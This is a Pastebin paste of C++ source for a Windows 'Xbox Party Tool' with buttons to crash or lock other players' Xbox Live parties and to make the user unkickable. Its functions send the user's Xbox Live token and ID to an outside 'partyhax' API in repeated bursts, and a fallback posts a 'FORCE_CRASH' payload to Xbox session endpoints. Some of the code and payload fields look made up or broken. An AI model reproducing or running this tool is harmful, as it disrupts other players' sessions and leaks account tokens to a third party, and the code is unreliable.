Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <windows.h>
- #include <commctrl.h>
- #include <iostream>
- #include <string>
- #include <memory>
- #include <ppltasks.h>
- #include <xbox/live/xbox_live.h>
- #include <winrt/Windows.Web.Http.h>
- #include <winrt/Windows.Security.Authentication.Web.Core.h>
- #include <winrt/Windows.Security.Credentials.h>
- #include <winrt/Windows.Data.Json.h>
- using namespace concurrency;
- using namespace winrt;
- using namespace winrt::Windows::Web::Http;
- using namespace winrt::Windows::Security::Authentication::Web::Core;
- using namespace winrt::Windows::Security::Credentials;
- using namespace winrt::Windows::Data::Json;
- using namespace xbox::services;
- using namespace xbox::services::system;
- // Config
- const std::wstring XBL_TOKEN = L"YOUR_XBL_TOKEN_HERE"; // Replace with your XBL token
- const std::wstring XBL_AUTH_URL = L"https://xsts.auth.xboxlive.com/xsts/authorize";
- const std::wstring PROFILE_URL = L"https://profile.xboxlive.com/users/me/profile/settings";
- const std::wstring SESSIONS_URL = L"https://sessiondirectory.xboxlive.com/sessions";
- const std::wstring SESSION_URL_BASE = L"https://sessiondirectory.xboxlive.com/handles/";
- const std::wstring PARTYHAX_API_BASE = L"https://partyhax.club/api/";
- // Global variables for UI state
- bool unkickable_enabled = false;
- int crash_intensity = 1;
- std::wstring current_xsts_token;
- std::wstring current_session_id;
- std::wstring current_xuid;
- int selected_action = 0; // 0 = Crash, 1 = Lock
- // UI control IDs
- #define IDC_TAB 1000
- #define IDC_TOGGLE 1001
- #define IDC_SLIDER 1002
- #define IDC_BUTTON 1003
- #define IDC_COMBO 1004
- // Function to get XSTS token from XBL token
- task<xbox_live_result<token_and_signature_result>> get_xsts_token(const std::wstring& xbl_token)
- {
- HttpClient client;
- HttpRequestMessage request(HttpMethod::Post(), Uri(XBL_AUTH_URL));
- request.Headers().Append(L"Authorization", L"XBL3.0 x=" + xbl_token);
- request.Headers().Append(L"Content-Type", L"application/json");
- std::wstring payload = L"{\"Properties\":{\"SandboxId\":\"RETAIL\",\"UserTokens\":[\"" + xbl_token + L"\"]},\"RelyingParty\":\"http://xboxlive.com\",\"TokenType\":\"JWT\"}";
- request.Content(HttpStringContent(payload));
- return create_task(client.SendRequestAsync(request))
- .then([](HttpResponseMessage response) {
- if (response.StatusCode() == HttpStatusCode::Ok) {
- auto result = response.Content().ReadAsStringAsync().get();
- std::wstring token = result;
- return xbox_live_result<token_and_signature_result>(token_and_signature_result(token, L""));
- }
- throw std::runtime_error("Failed to get XSTS token");
- });
- }
- // Function to get XUID from profile
- task<std::wstring> get_xuid(const std::wstring& xsts_token)
- {
- HttpClient client;
- HttpRequestMessage request(HttpMethod::Get(), Uri(PROFILE_URL));
- request.Headers().Append(L"Authorization", L"XBL3.0 x=" + xsts_token);
- request.Headers().Append(L"Content-Type", L"application/json");
- request.Headers().Append(L"X-Xbl-Contract-Version", L"2");
- return create_task(client.SendRequestAsync(request))
- .then([](HttpResponseMessage response) {
- if (response.StatusCode() == HttpStatusCode::Ok) {
- auto result = response.Content().ReadAsStringAsync().get();
- JsonObject json = JsonObject::Parse(result);
- std::wstring xuid = json.GetNamedString(L"id");
- return xuid;
- }
- throw std::runtime_error("Failed to get XUID");
- });
- }
- // Function to get current party session ID
- task<std::wstring> get_party_session_id(const std::wstring& xsts_token, const std::wstring& xuid)
- {
- HttpClient client;
- HttpRequestMessage request(HttpMethod::Get(), Uri(SESSIONS_URL + L"?xuid=" + xuid));
- request.Headers().Append(L"Authorization", L"XBL3.0 x=" + xsts_token);
- request.Headers().Append(L"Content-Type", L"application/json");
- request.Headers().Append(L"X-Xbl-Contract-Version", L"2");
- return create_task(client.SendRequestAsync(request))
- .then([](HttpResponseMessage response) {
- if (response.StatusCode() == HttpStatusCode::Ok) {
- auto result = response.Content().ReadAsStringAsync().get();
- JsonObject json = JsonObject::Parse(result);
- JsonArray sessions = json.GetNamedArray(L"sessions");
- if (sessions.Size() > 0) {
- std::wstring session_id = sessions.GetObjectAt(0).GetNamedString(L"sessionId");
- return session_id;
- }
- throw std::runtime_error("No active party sessions found");
- }
- throw std::runtime_error("Failed to get sessions");
- });
- }
- // Function to make yourself unkickable using PartyHax API
- task<void> make_unkickable(const std::wstring& xbl_token, const std::wstring& xuid)
- {
- HttpClient client;
- std::wstring url = PARTYHAX_API_BASE + L"xboxpartyunkickable/xuid=" + xuid + L",Token=" + xbl_token;
- HttpRequestMessage request(HttpMethod::Get(), Uri(url));
- request.Headers().Append(L"Content-Type", L"application/json");
- return create_task(client.SendRequestAsync(request))
- .then([](HttpResponseMessage response) {
- if (response.StatusCode() == HttpStatusCode::Ok) {
- std::cout << "PartyHax API: Successfully made unkickable.\n";
- } else {
- std::cerr << "PartyHax API: Failed to make unkickable. Status: " << static_cast<int>(response.StatusCode()) << "\n";
- }
- });
- }
- // Function to crash the party using PartyHax API with fallback
- task<void> crash_party(const std::wstring& xbl_token, const std::wstring& xuid, const std::wstring& session_id, int intensity)
- {
- HttpClient client;
- std::wstring url = PARTYHAX_API_BASE + L"xboxpartycrash/xuid=" + xuid + L",Token=" + xbl_token;
- HttpRequestMessage request(HttpMethod::Get(), Uri(url));
- request.Headers().Append(L"Content-Type", L"application/json");
- bool partyhax_success = false;
- for (int i = 0; i < intensity; ++i) {
- create_task(client.SendRequestAsync(request))
- .then([&partyhax_success](HttpResponseMessage response) {
- if (response.StatusCode() == HttpStatusCode::Ok) {
- std::cout << "PartyHax API: Crash request sent.\n";
- partyhax_success = true;
- } else {
- std::cerr << "PartyHax API: Crash request failed. Status: " << static_cast<int>(response.StatusCode()) << "\n";
- }
- });
- Sleep(50);
- }
- // Fallback to direct Xbox Live method if PartyHax fails
- if (!partyhax_success && !session_id.empty()) {
- std::cout << "Falling back to direct Xbox Live crash method...\n";
- HttpRequestMessage fallback_request(HttpMethod::Post(), Uri(SESSION_URL_BASE + session_id + L"/join"));
- fallback_request.Headers().Append(L"Authorization", L"XBL3.0 x=" + xbl_token);
- fallback_request.Headers().Append(L"Content-Type", L"application/json");
- fallback_request.Headers().Append(L"X-Xbl-Contract-Version", L"2");
- std::wstring payload = L"{\"userId\":\"FORCE_CRASH\",\"inviteId\":null,\"bypassInvite\":true,\"overload\":true,\"crashApp\":true}";
- fallback_request.Content(HttpStringContent(payload));
- for (int i = 0; i < intensity; ++i) {
- create_task(client.SendRequestAsync(fallback_request))
- .then([](HttpResponseMessage response) {
- std::cout << "Fallback: Crash request sent. Status: " << static_cast<int>(response.StatusCode()) << "\n";
- });
- Sleep(50);
- }
- }
- return create_task([]() {});
- }
- // Function to lock the party using PartyHax API
- task<void> lock_party(const std::wstring& xbl_token, const std::wstring& xuid)
- {
- HttpClient client;
- std::wstring url = PARTYHAX_API_BASE + L"xboxpartylock/xuid=" + xuid + L",Token=" + xbl_token;
- HttpRequestMessage request(HttpMethod::Get(), Uri(url));
- request.Headers().Append(L"Content-Type", L"application/json");
- return create_task(client.SendRequestAsync(request))
- .then([](HttpResponseMessage response) {
- if (response.StatusCode() == HttpStatusCode::Ok) {
- std::cout << "PartyHax API: Party locked successfully.\n";
- } else {
- std::cerr << "PartyHax API: Failed to lock party. Status: " << static_cast<int>(response.StatusCode()) << "\n";
- }
- });
- }
- // Window procedure for the UI
- LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam)
- {
- static HWND hwndTab, hwndToggle, hwndSlider, hwndButton, hwndCombo;
- static HFONT hFont;
- switch (msg)
- {
- case WM_CREATE:
- {
- // Initialize common controls
- INITCOMMONCONTROLSEX icex;
- icex.dwSize = sizeof(INITCOMMONCONTROLSEX);
- icex.dwICC = ICC_TAB_CLASSES | ICC_TRACKBAR_CLASS;
- InitCommonControlsEx(&icex);
- // Create font
- hFont = CreateFont(16, 0, 0, 0, FW_NORMAL, FALSE, FALSE, FALSE, ANSI_CHARSET,
- OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY,
- DEFAULT_PITCH | FF_SWISS, L"Segoe UI");
- // Create tab control
- hwndTab = CreateWindow(WC_TABCONTROL, L"", WS_CHILD | WS_VISIBLE,
- 5, 5, 390, 290, hwnd, (HMENU)IDC_TAB, GetModuleHandle(NULL), NULL);
- SendMessage(hwndTab, WM_SETFONT, (WPARAM)hFont, TRUE);
- TCITEM tie;
- tie.mask = TCIF_TEXT;
- tie.pszText = L"Party Controls";
- TabCtrl_InsertItem(hwndTab, 0, &tie);
- // Create toggle (checkbox)
- hwndToggle = CreateWindow(L"BUTTON", L"Unkickable", WS_CHILD | WS_VISIBLE | BS_CHECKBOX,
- 20, 40, 150, 30, hwnd, (HMENU)IDC_TOGGLE, GetModuleHandle(NULL), NULL);
- SendMessage(hwndToggle, WM_SETFONT, (WPARAM)hFont, TRUE);
- // Create slider
- CreateWindow(L"STATIC", L"Crash Intensity: 1", WS_CHILD | WS_VISIBLE,
- 20, 80, 150, 20, hwnd, NULL, GetModuleHandle(NULL), NULL);
- hwndSlider = CreateWindow(TRACKBAR_CLASS, L"", WS_CHILD | WS_VISIBLE | TBS_AUTOTICKS,
- 20, 100, 200, 30, hwnd, (HMENU)IDC_SLIDER, GetModuleHandle(NULL), NULL);
- SendMessage(hwndSlider, TBM_SETRANGE, TRUE, MAKELONG(1, 20));
- SendMessage(hwndSlider, TBM_SETPOS, TRUE, 1);
- SendMessage(hwndSlider, WM_SETFONT, (WPARAM)hFont, TRUE);
- // Create dropdown
- hwndCombo = CreateWindow(WC_COMBOBOX, L"", WS_CHILD | WS_VISIBLE | CBS_DROPDOWNLIST,
- 20, 140, 150, 100, hwnd, (HMENU)IDC_COMBO, GetModuleHandle(NULL), NULL);
- SendMessage(hwndCombo, CB_ADDSTRING, 0, (LPARAM)L"Crash Party");
- SendMessage(hwndCombo, CB_ADDSTRING, 0, (LPARAM)L"Lock Party");
- SendMessage(hwndCombo, CB_SETCURSEL, 0, 0);
- SendMessage(hwndCombo, WM_SETFONT, (WPARAM)hFont, TRUE);
- // Create button
- hwndButton = CreateWindow(L"BUTTON", L"Execute", WS_CHILD | WS_VISIBLE | BS_PUSHBUTTON,
- 20, 180, 100, 30, hwnd, (HMENU)IDC_BUTTON, GetModuleHandle(NULL), NULL);
- SendMessage(hwndButton, WM_SETFONT, (WPARAM)hFont, TRUE);
- // Set dark theme
- SetWindowLong(hwnd, GWL_STYLE, GetWindowLong(hwnd, GWL_STYLE) | WS_CLIPCHILDREN);
- SetBkColor(GetDC(hwnd), RGB(30, 30, 30));
- break;
- }
- case WM_COMMAND:
- {
- if (LOWORD(wParam) == IDC_TOGGLE)
- {
- unkickable_enabled = (SendMessage(hwndToggle, BM_GETCHECK, 0, 0) == BST_CHECKED);
- if (unkickable_enabled && !current_xuid.empty())
- {
- make_unkickable(XBL_TOKEN, current_xuid);
- }
- }
- if (LOWORD(wParam) == IDC_COMBO)
- {
- if (HIWORD(wParam) == CBN_SELCHANGE)
- {
- selected_action = SendMessage(hwndCombo, CB_GETCURSEL, 0, 0);
- }
- }
- if (LOWORD(wParam) == IDC_BUTTON)
- {
- if (!current_xuid.empty())
- {
- switch (selected_action)
- {
- case 0: // Crash Party
- crash_party(XBL_TOKEN, current_xuid, current_session_id, crash_intensity);
- break;
- case 1: // Lock Party
- lock_party(XBL_TOKEN, current_xuid);
- break;
- }
- }
- else
- {
- MessageBox(hwnd, L"XUID not found. Ensure auth succeeded and try again.", L"Error", MB_OK | MB_ICONERROR);
- }
- }
- break;
- }
- case WM_HSCROLL:
- {
- if ((HWND)lParam == hwndSlider)
- {
- crash_intensity = SendMessage(hwndSlider, TBM_GETPOS, 0, 0);
- wchar_t buf[32];
- wsprintf(buf, L"Crash Intensity: %d", crash_intensity);
- SetWindowText(GetDlgItem(hwnd, IDC_STATIC), buf);
- }
- break;
- }
- case WM_PAINT:
- {
- PAINTSTRUCT ps;
- HDC hdc = BeginPaint(hwnd, &ps);
- SetBkColor(hdc, RGB(30, 30, 30));
- SetTextColor(hdc, RGB(200, 200, 200));
- EndPaint(hwnd, &ps);
- break;
- }
- case WM_DESTROY:
- DeleteObject(hFont);
- PostQuitMessage(0);
- break;
- default:
- return DefWindowProc(hwnd, msg, wParam, lParam);
- }
- return 0;
- }
- int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
- {
- // Initialize WinRT
- winrt::init_apartment();
- // Register window class
- WNDCLASS wc = {0};
- wc.lpfnWndProc = WndProc;
- wc.hInstance = hInstance;
- wc.lpszClassName = L"XboxPartyToolClass";
- wc.hbrBackground = CreateSolidBrush(RGB(30, 30, 30));
- RegisterClass(&wc);
- // Create window
- HWND hwnd = CreateWindow(L"XboxPartyToolClass", L"Xbox Party Tool",
- WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX,
- CW_USEDEFAULT, CW_USEDEFAULT, 400, 300,
- NULL, NULL, hInstance, NULL);
- ShowWindow(hwnd, nCmdShow);
- // Authenticate and get XUID/session ID
- try
- {
- get_xsts_token(XBL_TOKEN)
- .then([](xbox_live_result<token_and_signature_result> result) {
- if (!result.err()) {
- current_xsts_token = result.payload().token();
- std::wcout << L"Got XSTS token: " << current_xsts_token << L"\n";
- return current_xsts_token;
- }
- throw std::runtime_error("Token fetch failed");
- })
- .then([](std::wstring xsts_token) {
- return get_xuid(xsts_token)
- .then([xsts_token](std::wstring xuid) {
- current_xuid = xuid;
- std::wcout << L"Got XUID: " << xuid << L"\n";
- return std::make_pair(xsts_token, xuid);
- });
- })
- .then([](std::pair<std::wstring, std::wstring> pair) {
- auto [xsts_token, xuid] = pair;
- return get_party_session_id(xsts_token, xuid)
- .then([xsts_token, xuid](std::wstring session_id) {
- current_session_id = session_id;
- std::wcout << L"Got party session ID: " << session_id << L"\n";
- });
- }).get();
- }
- catch (const std::exception& e)
- {
- MessageBox(hwnd, L"Failed to initialize: " + std::wstring(e.what(), e.what() + strlen(e.what())), L"Error", MB_OK | MB_ICONERROR);
- }
- // Message loop
- MSG msg;
- while (GetMessage(&msg, NULL, 0, 0))
- {
- TranslateMessage(&msg);
- DispatchMessage(&msg);
- }
- winrt::uninit_apartment();
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement